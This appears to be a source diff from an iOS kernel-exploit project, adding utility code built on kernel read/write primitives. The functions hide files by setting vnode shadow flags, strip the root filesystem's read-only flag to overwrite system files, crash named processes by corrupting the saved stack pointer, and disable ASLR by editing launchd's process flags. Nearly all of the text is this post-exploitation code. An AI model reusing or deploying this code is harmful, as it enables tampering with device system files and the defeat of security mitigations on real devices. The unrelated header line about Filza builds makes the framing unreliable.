Filza 27.2 worse_query: public and developer builds

utils/file.c

@@ -0,0 +1,151 @@
+//
+//  file.c
+//  darksword-kexploit-fun
+//
+//  Created by seo on 3/29/26.
+//
+
+#include "file.h"
+#include "../kexploit/krw.h"
+#include "../kexploit/offsets.h"
+#include "../kexploit/vnode.h"
+#include "../kexploit/kutils.h"
+#include "../kexploit/xpaci.h"
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <fcntl.h>
+#include <sys/mman.h>
+
+
+uint64_t hide_path(const char* path) {
+    uint64_t vnode = get_vnode_for_path_by_open(path);
+    if(vnode == -1) {
+        printf("[%s:%d] Unable to get vnode, path: %s", __FUNCTION__, __LINE__, path);
+        return -1;
+    }
+    
+    //vnode_ref, vnode_get
+    uint32_t usecount = kread32(vnode + off_vnode_v_usecount);
+    uint32_t iocount = kread32(vnode + off_vnode_v_iocount);
+    kwrite32(vnode + off_vnode_v_usecount, usecount + 1);
+    kwrite32(vnode + off_vnode_v_iocount, iocount + 1);
+    
+    //hide file
+    uint32_t v_flags = kread32(vnode + off_vnode_v_flag);
+    kwrite32(vnode + off_vnode_v_flag, (v_flags | VISSHADOW));
+    
+    //restore vnode iocount, usecount
+    usecount = kread32(vnode + off_vnode_v_usecount);
+    iocount = kread32(vnode + off_vnode_v_iocount);
+    if(usecount > 0)
+        kwrite32(vnode + off_vnode_v_usecount, usecount - 1);
+    if(iocount > 0)
+        kwrite32(vnode + off_vnode_v_iocount, iocount - 1);
+
+    return vnode;
+}
+
+uint64_t reveal_path_by_vnode(uint64_t vnode) {
+    //vnode_ref, vnode_get
+    uint32_t usecount = kread32(vnode + off_vnode_v_usecount);
+    uint32_t iocount = kread32(vnode + off_vnode_v_iocount);
+    kwrite32(vnode + off_vnode_v_usecount, usecount + 1);
+    kwrite32(vnode + off_vnode_v_iocount, iocount + 1);
+    
+    //show file
+    uint32_t v_flags = kread32(vnode + off_vnode_v_flag);
+    kwrite32(vnode + off_vnode_v_flag, (v_flags &= ~VISSHADOW));
+    
+    //restore vnode iocount, usecount
+    usecount = kread32(vnode + off_vnode_v_usecount);
+    iocount = kread32(vnode + off_vnode_v_iocount);
+    if(usecount > 0)
+        kwrite32(vnode + off_vnode_v_usecount, usecount - 1);
+    if(iocount > 0)
+        kwrite32(vnode + off_vnode_v_iocount, iocount - 1);
+
+    return 0;
+}
+
+// Overwrite /System/... file data
+uint64_t overwrite_system_file(char* to, char* from) {
+
+    int to_fd = open(to, O_RDONLY);
+    if (to_fd == -1) return -1;
+    off_t to_file_sz = lseek(to_fd, 0, SEEK_END);
+    
+    int from_fd = open(from, O_RDONLY);
+    if (from_fd == -1) return -1;
+    off_t from_file_sz = lseek(from_fd, 0, SEEK_END);
+    
+    if(to_file_sz < from_file_sz) {
+        close(from_fd);
+        close(to_fd);
+        printf("[%s:%d] File size is too big to overwrite!", __FUNCTION__, __LINE__);
+        return -1;
+    }
+    
+    uint64_t proc = proc_self();
+    
+    // get vnode
+    uint64_t fileprocPtrArr = kread64(proc + off_proc_p_fd + off_filedesc_fd_ofiles);
+    fileprocPtrArr = xpaci(fileprocPtrArr);
+    uint64_t to_fileproc = kread64(fileprocPtrArr + (8 * to_fd));
+    uint64_t to_fp_glob = kread64(to_fileproc + off_fileproc_fp_glob);
+    to_fp_glob = xpaci(to_fp_glob);
+    uint64_t to_vnode = kread64(to_fp_glob + off_fileglob_fg_data);
+    to_vnode = xpaci(to_vnode);
+    
+    // unset read-only flag on rootfs
+    uint64_t rootvnode_mount = kread64(get_rootvnode() + off_vnode_v_mount);
+    rootvnode_mount = xpaci(rootvnode_mount);
+    uint32_t rootvnode_mnt_flag = kread32(rootvnode_mount + off_mount_mnt_flag);
+    kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag & ~MNT_RDONLY);
+    
+    // modify open flags to make writable
+    uint32_t to_fg_flag = kread32(to_fp_glob + off_fileglob_fg_flag);
+    kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag | FWRITE);
+    
+    // to modify, increasing writecount needed
+    uint32_t to_vnode_v_writecount =  kread32(to_vnode + off_vnode_v_writecount);
+    if(to_vnode_v_writecount <= 0) {
+        kwrite32(to_vnode + off_vnode_v_writecount, to_vnode_v_writecount + 1);
+    }
+    
+    // modify file data
+    void* from_mapped = mmap(NULL, from_file_sz, PROT_READ, MAP_PRIVATE, from_fd, 0);
+    if (from_mapped == MAP_FAILED) {
+        perror("[-] Failed mmap (from_mapped)");
+        kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
+        close(from_fd);
+        close(to_fd);
+        return -1;
+    }
+    
+    void* to_mapped = mmap(NULL, to_file_sz, PROT_READ | PROT_WRITE, MAP_SHARED, to_fd, 0);
+    if (to_mapped == MAP_FAILED) {
+        perror("[-] Failed mmap (to_mapped)");
+        kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
+        close(from_fd);
+        close(to_fd);
+        return -1;
+    }
+
+    memcpy(to_mapped, from_mapped, from_file_sz);
+    msync(to_mapped, to_file_sz, MS_SYNC);
+    
+    munmap(from_mapped, from_file_sz);
+    munmap(to_mapped, to_file_sz);
+    
+    // restore open flags
+    kwrite32(to_fp_glob + off_fileglob_fg_flag, to_fg_flag);
+    // restore rootfs mount flag
+    kwrite32(rootvnode_mount + off_mount_mnt_flag, rootvnode_mnt_flag);
+    
+    close(from_fd);
+    close(to_fd);
+    
+    return 0;
+}

utils/file.h

@@ -0,0 +1,24 @@
+//
+//  file.h
+//  darksword-kexploit-fun
+//
+//  Created by seo on 3/29/26.
+//
+
+#ifndef file_h
+#define file_h
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <stdint.h>
+
+// xnu-10002.81.5/bsd/sys/vnode_internal.h
+#define VISSHADOW       0x008000        /* vnode is a shadow file */
+// xnu-10002.81.5/bsd/sys/mount.h
+#define MNT_RDONLY      0x00000001      /* read only filesystem */
+
+uint64_t hide_path(const char* path);
+uint64_t reveal_path_by_vnode(uint64_t vnode);
+uint64_t overwrite_system_file(char* to, char* from);
+
+#endif /* file_h */

utils/hexdump.c

@@ -0,0 +1,60 @@
+//
+//  hexdump.c
+//  darksword-kexploit-fun
+//
+//  Created by seo on 3/26/26.
+//
+
+#include <stdio.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <stdlib.h>
+
+#include "hexdump.h"
+
+
+void hexdump(const void* data, size_t size) {
+    char ascii[17];
+    size_t i, j;
+    ascii[16] = '\0';
+    for (i = 0; i < size; ++i) {
+        if ((i % 16) == 0)
+        {
+            printf("[0x%016llx+0x%03zx] ", &data, i);
+        }
+
+        printf("%02X ", ((unsigned char*)data)[i]);
+        if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
+            ascii[i % 16] = ((unsigned char*)data)[i];
+        }
+        else
+            ascii[i % 16] = '.';
+
+        if ((i + 1) % 8 == 0 || i + 1 == size) {
+            printf(" ");
+            if ((i + 1) % 16 == 0)
+                printf("|  %s \n", ascii);
+            else if (i + 1 == size) {
+                ascii[(i + 1) % 16] = '\0';
+                if ((i + 1) % 16 <= 8) {
+                    printf(" ");
+                }
+                for (j = (i + 1) % 16; j < 16; ++j)
+                    printf("   ");
+
+                printf("|  %s \n", ascii);
+            }
+        }
+    }
+}
+
+void hexdump_file(const char *path, size_t size)
+{
+    int fd = open(path, O_RDONLY);
+    void *buf = malloc(size);
+    ssize_t n = read(fd, buf, size);
+    close(fd);
+    if (n > 0)
+        hexdump(buf, n);
+    free(buf);
+}

utils/hexdump.h

@@ -0,0 +1,10 @@
+//
+//  hexdump.h
+//  darksword-kexploit-fun
+//
+//  Created by seo on 3/26/26.
+//
+
+
+void hexdump(const void* data, size_t size);
+void hexdump_file(const char *path, size_t size);

utils/process.c

@@ -0,0 +1,51 @@
+//
+//  process.c
+//  darksword-kexploit-fun
+//
+//  Created by seo on 3/26/26.
+//
+
+#include "process.h"
+#include <stddef.h>
+#include "../kexploit/kutils.h"
+#include "../kexploit/krw.h"
+#include "../kexploit/xpaci.h"
+#include "../kexploit/offsets.h"
+
+int crash_process(const char* name) {
+    uint64_t proc = proc_find_by_name(name);
+    uint64_t task = proc_task(proc);
+    
+    uint64_t threads = kread64(task + off_task_threads_next);
+    
+    uint64_t upcb = kread64(threads + off_thread_machine_upcb);
+    upcb = xpaci(upcb);
+    
+    uint64_t state = upcb + off_arm_saved_state_uss_ss_64;
+    
+    kwrite64(state + offsetof(struct arm_saved_state64, sp), 0x1337133713371337);
+    
+    return 0;
+}
+
+// xnu-10002.81.5/bsd/sys/proc.h
+#define P_DISABLE_ASLR  0x00001000      /* Disable address space layout randomization */
+int disable_aslr(void) {
+
+    uint64_t launchd_proc = proc_find(1);
+    uint32_t p_flag = kread32(launchd_proc + off_proc_p_flag);
+
+    kwrite32(launchd_proc + off_proc_p_flag, p_flag | P_DISABLE_ASLR);
+
+    return 0;
+}
+
+int enable_aslr(void) {
+
+    uint64_t launchd_proc = proc_find(1);
+    uint32_t p_flag = kread32(launchd_proc + off_proc_p_flag);
+
+    kwrite32(launchd_proc + off_proc_p_flag, p_flag &~P_DISABLE_ASLR);
+
+    return 0;
+}

utils/process.h

@@ -0,0 +1,35 @@
+//
+//  process.h
+//  darksword-kexploit-fun
+//
+//  Created by seo on 3/26/26.
+//
+
+#ifndef process_h
+#define process_h
+
+#include <stdio.h>
+#include <stdint.h>
+
+struct arm_saved_state64
+{
+  uint64_t x[29];
+  uint64_t fp;
+  uint64_t lr;
+  uint64_t sp;
+  uint64_t pc;
+  uint32_t cpsr;
+  uint32_t aspsr;
+  uint64_t far;
+  uint32_t esr;
+  uint32_t exception;
+  uint64_t jophash;
+};
+
+int crash_process(const char* name);
+int watch_process(const char* name);
+
+int disable_aslr(void);
+int enable_aslr(void);
+
+#endif /* process_h */